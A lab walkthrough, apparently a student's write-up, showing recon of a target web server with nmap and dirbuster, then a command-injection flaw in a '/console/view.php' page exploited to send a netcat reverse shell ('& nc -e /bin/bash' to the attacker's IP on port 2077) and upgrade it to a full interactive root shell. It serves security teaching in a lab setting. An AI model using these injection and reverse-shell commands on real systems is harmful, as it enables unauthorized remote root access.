Darrius Magee

Catching a Reverse Shell

Stage 1: Topology

We are acting as Kali4 and our target is App1. Our networks are segmented but, our routers share a common switch. Our goal is to get our target to send us a shell, this is called a reverse shell.

The only information we are given is the ip of the router. Lets see what we can find out about the network.

Stage 2: Reconnaissance

The first step in attacking a target is recon. RECON RECON RECON. We can't attack something we do not know. We will be using the popular recon tool nmap on our targeted IP.

This is optional but, you can create a file with a list of IP's and tell nmap to scan the list using the " -iL " switch.

The " tee " command allows you to run whatever command you want and print the output to a file. Whatever you put after tee will become the file name.

As you see ports 53/DNS and 80/HTTP are open. It is safe to assume that App1 is a webserver since DNS and HTTP are open. We will most likely attack port 80/HTTP but, lets find some more information. When you see a target is hosting HTTP think BROWSER BROWSER BROWSER. Type the targets IP into your browser.

Ex: http://192.168.122.47

The site appears to be bare, empty, useless. But we are HACKERS! we theres always a way into the "mainframe" Lets see if theres anymore information on the back end. Use right click and hit "view page source" or press "ctrl+u" if you're cool.

This is how the page is made up. We see the page is written using html and designed with css. You can click around and be Indianna but I clicked this fancy .png link.

We found something!!! This is a $1 vulnerability, D Tier, common, but it's something. The vulnerability is "Version Disclosure Vulnerability". We now know that App1 is a Linux server running on Apache version 2.4.52. This is a low vulnerability but, this is a step in finding exploits against the server. I mean you can try it your self. Copy and paste this in google:

Apache Version 2.4 exploits

Moving on...

We are still trying to gather more information on the site. The last thing we will do is search to see if there are any hidden paths in the site. After all, websites are directories, files, media, and code. We will run dirbuster to find any hidden paths.

There are a few hits, but one paths stands out from the others. The "console" path. We will add it to the targets url.

http://192.168.122.47/console/

Select view.php

It appears we are at an application in which we can search files if we give the website proper credentials. We know that the machine we are dealing with is a Linux Debian. Let's see if we can insert linux commands into the webapp.

Stage 2: Resource Development / Initial Access

Linux, Microsoft, HTML, RUBY, etc runs on code. When injecting code use functions that will close a code so you can start your own. For example, if you look at HTML code you can see a pattern of <> "" etc. These are used to close comment make references etc. These should be something to foucs on if you are injecting a html service. We are assuming the application allows us to talk to the linux server directly. So we will use functions such as " ; & | " etc.

& is a function to run next

; is a function to run on a seperate line

Lets try and inject some commands in the boxes.

nothing...

Big Success! our " & id " command shot out the users id and its permissions.

UID=0 is root be aware for that.

This is another vulnerability called "command injection". The designer of the website has failed to sanitize or block the use of special characters.

Since we have the ability to type commands into the target computer that gives us the ability to send a reverse shell. We must first port forward the shell by changing our firewall settings.

We enter our routers IP into the browser

Log In and head into the NAT rules.

Make sure you set the destination type to "WAN". You can change the port range to anything you want just make sure that it matches with the redirect port. Use your own IP for the redirection and save.

This is our reverse shell firewall rule. We are telling OUR firewall to open port 2077 and any traffic you get that is 2077 redirect to "my" IP or computer.

When we are sending the payload for a reverse shell we are telling the target to send "US" a request to connect.

Now we grab our gloves and get ready for the reverse shell catch by running.

nc -lvp 2077

l = listener

v = verbose

p = port

Our box is actively listening for the shell. We now send the payload through the website to connect to us. Run:

& nc -e /bin/bash 192.168.122.209 2077

make sure you are sending the shell to "your" router, the router will send the shell to your box and if the listener is running you will catch the shell.

Connected....

Run: whoami

Stage 3: Shell Upgrade

Our shell is aight but aight aint good enough, so we will upgrade our shell so we have the ability to ctrl+c, nano, get command feedback and others.

Run: python3 -c 'import pty; pty.spawn("/bin/bash")'

This creates a more interractible shell.

Press: ctrl+z

this will take you back to your original terminal. Then run:

stty raw -echo; fg

This gives you the ability to send inputs directly into the shell without it going through your terminal first. Basically you can ctrl+c safely now.

We will now run:

export TERM=xterm-256color

export SHELL=/bin/bash

The first command give you the ability to "nano" files, the other command sets bash as the default shell. You can check your TERMinal and Shell status by running.

$TERM

$SHELL

In "YOUR LOCAL" terminal run:

echo $TERM && tput lines && tput cols

this outputs your terminal size. Note the two numbers.

In the reverse shell run:

stty rows 38 columns 112

This matches your reverse shell terminal size with your local terminal so that texts don't overlap and you don't get other funky errors.

You have successfuly created a reverse shell and upgraded the shell yippieeeee!